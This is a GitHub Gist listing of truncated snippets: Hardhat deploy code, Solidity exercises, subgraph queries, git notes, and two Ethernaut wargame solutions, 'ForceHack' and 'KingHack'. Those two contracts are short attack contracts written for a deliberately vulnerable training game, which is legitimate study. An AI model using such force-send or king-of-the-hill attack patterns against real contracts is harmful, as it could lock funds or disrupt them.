Skip to content

Instantly share code, notes, and snippets.

@SilviaMargaritaOcegueda
SilviaMargaritaOcegueda / 001_deploy_locks.ts
Created November 21, 2023 15:17
Hardhat deployment script and unit testing file from Base Camp
import {HardhatRuntimeEnvironment} from 'hardhat/types';
import { DeployFunction } from 'hardhat-deploy/types';
import { ethers } from 'hardhat';
const func: DeployFunction = async function (hre: HardhatRuntimeEnvironment) {
const { deploy } = hre.deployments;
const { deployer } = await hre.getNamedAccounts();
const VALUE_LOCKED = hre.ethers.parseEther("0.01");
const UNLOCK_TIME = 10000;
@SilviaMargaritaOcegueda
SilviaMargaritaOcegueda / ArraysExercise.sol
Created November 17, 2023 04:19
Contract created based on the Base Camp curriculum
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract ArraysExercise {
uint[] public numbers = [1,2,3,4,5,6,7,8,9,10];
address[] senders;
uint[] timestamps;
function getNumbers() public view returns (uint[] memory) {
return numbers;
@SilviaMargaritaOcegueda
SilviaMargaritaOcegueda / encodeEIP712Hash.sol
Created October 25, 2023 18:43
encodeEIP712Hash() helper function to get a encoded message compliant with EIP-712 from a 1inch fusion swap tx
function encodeEIP712Hash() public pure returns (bytes memory) {
Order memory order = Order({
salt: 45118768841948961586167738353692277076075522015101619148498725069326976558864,
makerAsset: 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2,
takerAsset: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,
maker: 0x00000000219ab540356cBB839Cbe05303d7705Fa,
receiver: 0x0000000000000000000000000000000000000000,
allowedSender: 0x0000000000000000000000000000000000000000,
makingAmount: 1000000000000000000,
const { request, gql } = require("graphql-request");
// Function to query the subgraph and retrieve zkPrefrences for the given user
async function getZkPreferencesForUserAccount(userAccount) {
const endpoint =
"https://api.thegraph.com/subgraphs/name/silviamargaritaocegueda/bb-wallets";
const query = gql`
query MyQuery($userAccount: Bytes) {
account(id: $userAccount) {
preferences
const { request, gql } = require("graphql-request");
// Function to query the subgraph and retrieve babies for the given relationship
async function getBabiesOfRelationship(relationAddress) {
const endpoint =
"https://api.thegraph.com/subgraphs/name/silviamargaritaocegueda/bb-relationships";
const query = gql`
query MyQuery($relationAddress: Bytes) {
relationship(id: $relationAddress) {
creature
const { request, gql } = require("graphql-request");
// Function to query the subgraph and retrieve 6551-accounts for the given user
async function checkAccountForUser(contract, id, chainId) {
const endpoint =
"https://api.thegraph.com/subgraphs/name/silviamargaritaocegueda/mock-wallets";
const query = gql`
query MyQuery($contract: Bytes, $id: BigInt, $chainId: BigInt) {
accounts(
where: {
and: [
WINDOWS
Open the Windows File Explorer (or use the shortcut WIN + E)
GIT
> descartar todos tus commits en local y volver al ultimo push visible en github:
git reset --hard origin/main
> volver a un commit anterior:
git checkout b29e5d6 (el codigo del commit donde quieras ir)
@SilviaMargaritaOcegueda
SilviaMargaritaOcegueda / VerifySignature.sol
Created August 14, 2022 03:33
Solidity code to sign and verify a message
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
/*How to Sign and Verify a message
0. Create message to sign
1. Get message hash by calling getMessageHash()
2. Eth sign the message hash by calling getEthSignedMessageHash()
3. On the browser, unlock MetaMask account typing ethereum.enable()
4. Using browser, sign the message hash: | offchain to keep your private key secret
account = "copy paste account of signer here"
@SilviaMargaritaOcegueda
SilviaMargaritaOcegueda / ForceHack.sol
Created July 31, 2022 05:34
Level 7 - Force - Ethernaut
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract ForceEth {
function forceEth() external payable {
address payable attackContract = 0xf53Eb1E507B15561661efEDe9899beDA45d051f5;
selfdestruct(attackContract);
}
@SilviaMargaritaOcegueda
SilviaMargaritaOcegueda / KingHack.sol
Created June 27, 2022 04:04
Level 9 - King - Ethernaut
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract KingHack {
function kingHack(address payable _to) public payable {
(bool sent, ) = _to.call.value(msg.value)("");
require(sent, "Failed to send value!");
}
function seedEth() public payable {